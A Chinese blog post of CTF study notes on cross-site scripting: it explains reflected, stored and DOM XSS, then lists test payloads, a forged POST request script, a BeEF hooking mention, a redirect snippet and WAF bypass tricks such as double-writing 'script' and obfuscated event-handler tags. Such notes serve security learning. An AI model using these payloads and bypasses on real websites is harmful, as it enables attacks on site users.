703 字
4 分钟
【CTF笔记】XSS漏洞

一、XSS漏洞分类#

1、反射型(非持久型)#

原理:服务器收到客户端请求时的参数,没有进行过滤,直接将参数用于构造HTML,以HTML的形式返回给浏览器,并在浏览器执行

2、存储型(持久型)#

原理:XSS代码存储在服务器中,当受害者访问URL时,XSS代码被嵌入到HTML中,返回给浏览器,并执行

3、DOM型#

原理:客户端的JavaScript代码接受数据,没有进行过滤,构造HTML页面的DOM节点时,XSS代码被执行

NOTE

反射型和DOM型有一下区别:

a、触发流程不同#

反射型#

  • 流程: 用户输入 → 发送到服务器 → 服务器返回含输入的页面 → 浏览器执行恶意代码
    • 恶意代码直接嵌入在HTTP响应中(如URL参数被服务器返回)。
    • 需要用户点击一个构造的恶意链接(如钓鱼链接)。

DOM型#

  • 流程: 用户输入 → 浏览器前端处理(不经过服务器) → 直接修改DOM → 触发漏洞
    • 恶意代码完全在客户端通过JavaScript动态操作DOM生成。
    • 服务器响应中看不到恶意代码(查看网页源码时可能无异常)。

b、数据来源与处理位置#

特征反射型XSSDOM型XSS
数据来源URL参数、POST数据等URL参数
数据处理位置服务器端拼接并返回HTML客户端JavaScript操作DOM
是否依赖服务器响应是(漏洞在服务端未过滤)否(漏洞在客户端JS逻辑)

二、XSS漏洞利用代码#

1、常见验证代码#

//弹框,最常用
<script>alert(/xss/)</script>
//弹出确认框
<script>confirm('xss')</script>
//弹出输入框
<script>prompt('xss')</script>

2、利用代码#

a、构造请求#

GET:创建Image对象,其src属性为目标URL

<img src='example.com'>

POST:如下

var xhr = new XMLHttpRequest();
var url = "https://example.com";
//参数,根据需要调整
var params = "a=a&b=b";
xhr.open("POST", url, true);
xhr.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
//发送POST请求
xhr.send(params);

b、结合BeEF#

安装及使用链接:BeEF wiki

NOTE

要注意ssl证书,同源策略等内容,否则会出现无法获取到hook.js的问题

c、恶意跳转#

<script>window.location.href="http://www.baidu.com";</script>

三、WAF绕过#

1、大小写#

当只过滤了 script 时,可以通过变换大小写绕过

2、双写过滤的字符#

当只对特定字符替换为空一遍时,可以通过双写绕过

如替换 script 为空时,可以写成 scrscriptipt ,过滤为空后为 script

3、写在其他标签中#

如:

<img src="xxx" onerror="alert('1')">
<audio src=x onerror=alert(1)>
<audio src=x onerror=prompt(1);>
<audio src=# href=# onerror=javascript:alert(1)></audio>
<video src=x onerror=prompt(123)>
<video src=x onerror=alert(123)>
<button onfocus=alert(1) autofocus>
<button onclick=alert(1234)>xxx</button>
<a onmouseover="alert('1')">xxx</a>
<div onmouseover="alert('1')">xxx</div>
<svg onload="alert(1)">
<details open ontoggle=eval(String.fromCharCode(97,108,101,114,116,40,49,41))>
<script>eval(\u0061\u006c\u0065\u0072\u0074(1))</script>

4、在其中加入其他特殊字符#

如:! @ # ¥ % …… & * ( ) ! @ # $ % ^ & * ( ) / \ | 等

5、其他#

详见:链接

【CTF笔记】XSS漏洞
https://fuwari.vercel.app/posts/2025-02-11/
作者
Hel1um17
发布于
2025-02-11
许可协议
CC BY-NC-SA 4.0